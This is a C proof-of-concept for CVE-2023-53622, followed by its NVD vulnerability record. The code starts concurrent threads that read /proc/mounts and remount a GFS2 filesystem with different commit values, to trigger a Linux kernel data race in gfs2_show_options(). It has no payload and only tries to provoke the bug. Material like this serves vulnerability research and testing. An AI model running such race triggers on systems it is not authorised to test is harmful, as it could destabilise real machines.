CVE-2023-53622

// CVE-2023-53622 PoC - Trigger data race in gfs2_show_options() // This PoC demonstrates how to trigger the race condition by concurrently // accessing gfs2_show_options() while modifying gfs2_tune fields. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> #include <sys/mount.h> #include <sys/stat.h> #define GFS2_MOUNT_POINT "/mnt/gfs2_test" #define NUM_THREADS 10 #define ITERATIONS 1000 // Thread function to trigger gfs2_show_options() via /proc/mounts or mountinfo void* reader_thread(void* arg) { char buf[4096]; int fd; for (int i = 0; i < ITERATIONS; i++) { // Reading /proc/mounts triggers show_options for GFS2 filesystems fd = open("/proc/mounts", O_RDONLY); if (fd >= 0) { while (read(fd, buf, sizeof(buf)) > 0); close(fd); } // Also try mountinfo which also calls show_options fd = open("/proc/self/mountinfo", O_RDONLY); if (fd >= 0) { while (read(fd, buf, sizeof(buf)) > 0); close(fd); } usleep(1); } return NULL; } // Thread function to modify gfs2_tune via remount void* writer_thread(void* arg) { for (int i = 0; i < ITERATIONS; i++) { // Remount with different commit value to trigger gfs2_reconfigure() // This modifies gt_logd_secs which races with gfs2_show_options() mount("none", GFS2_MOUNT_POINT, "gfs2", MS_REMOUNT | MS_NOSUID, "commit=1"); usleep(1); mount("none", GFS2_MOUNT_POINT, "gfs2", MS_REMOUNT | MS_NOSUID, "commit=60"); usleep(1); } return NULL; } int main(int argc, char* argv[]) { pthread_t readers[NUM_THREADS]; pthread_t writers[2]; printf("CVE-2023-53622 PoC - GFS2 Data Race\n"); printf("Attempting to trigger race condition between\n"); printf("gfs2_show_options() and gfs2_reconfigure()\n\n"); // Check if GFS2 is mounted struct stat st; if (stat(GFS2_MOUNT_POINT, &st) != 0) { printf("Error: GFS2 not mounted at %s\n", GFS2_MOUNT_POINT); printf("Please mount a GFS2 filesystem first.\n"); return 1; } printf("Starting %d reader threads and 2 writer threads...\n", NUM_THREADS); // Create reader threads (trigger show_options) for (int i = 0; i < NUM_THREADS; i++) { pthread_create(&readers[i], NULL, reader_thread, NULL); } // Create writer threads (trigger reconfigure) for (int i = 0; i < 2; i++) { pthread_create(&writers[i], NULL, writer_thread, NULL); } // Wait for all threads for (int i = 0; i < NUM_THREADS; i++) { pthread_join(readers[i], NULL); } for (int i = 0; i < 2; i++) { pthread_join(writers[i], NULL); } printf("Done. Check kernel logs for any race condition warnings.\n"); printf("Use 'dmesg | grep -i race' to check for BUG reports.\n"); return 0; }

{"cve": {"id": "CVE-2023-53622", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:44.923", "lastModified": "2026-02-05T14:40:48.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngfs2: Fix possible data races in gfs2_show_options()\n\nSome fields such as gt_logd_secs of the struct gfs2_tune are accessed\nwithout holding the lock gt_spin in gfs2_show_options():\n\n val = sdp->sd_tune.gt_logd_secs;\n if (val != 30)\n seq_printf(s, \",commit=%d\", val);\n\nAnd thus can cause data races when gfs2_show_options() and other functions\nsuch as gfs2_reconfigure() are concurrently executed:\n\n spin_lock(&gt->gt_spin);\n gt->gt_logd_secs = newargs->ar_commit;\n\nTo fix these possible data races, the lock sdp->sd_tune.gt_spin is\nacquired before accessing the fields of gfs2_tune and released after these\naccesses.\n\nFurther changes by Andreas:\n\n- Don't hold the spin lock over the seq_printf operations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.31", "versionEndExcluding": "4.14.324", "matchCriteriaId": "D4B6858F-97E9-4806-B34D-C8E0660C2A0E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.293", "matchCriteriaId": "39603052-E341-4096-8535-38D44A60E845"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.255", "matchCriteriaId": "1379E40A-2AC3-484E-929A-7F46B6C3B521"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.192", "matchCriteriaId": "9396FFDC-6A0D-44B7-9368-21B456F6D4AE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.128", "matchCriteriaId": "1415629F-F97B-4880-BA1E-AF3DBB8EF305"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.47", "matchCriteriaId": "2EEA01B0-0151-4E0F-B140-1A441EEDD717"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.12", "matchCriteriaId": "CF8ECF64-40AE-49AB-8315-4D83F9F56ECF"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/235a5ae73cea29109a3e06f100493f17857e6a93", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/42077d4de49e4d9c773c97c42d5383b4899a8f9d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6fa0a72cbbe45db4ed967a51f9e6f4e3afe61d20", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7c5b2649f6a37d45bfb7abf34c9b71d08677139f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7e5bbeb7eb813bb2568e1d5d02587df943272e57", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/85e888150075cb221270b64bf772341fc6bd11d9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a4f71523ed2123d63b431cc0cea4e9f363a0f054", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b4a7ab57effbed42624842f2ab2a49b177c21a47", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}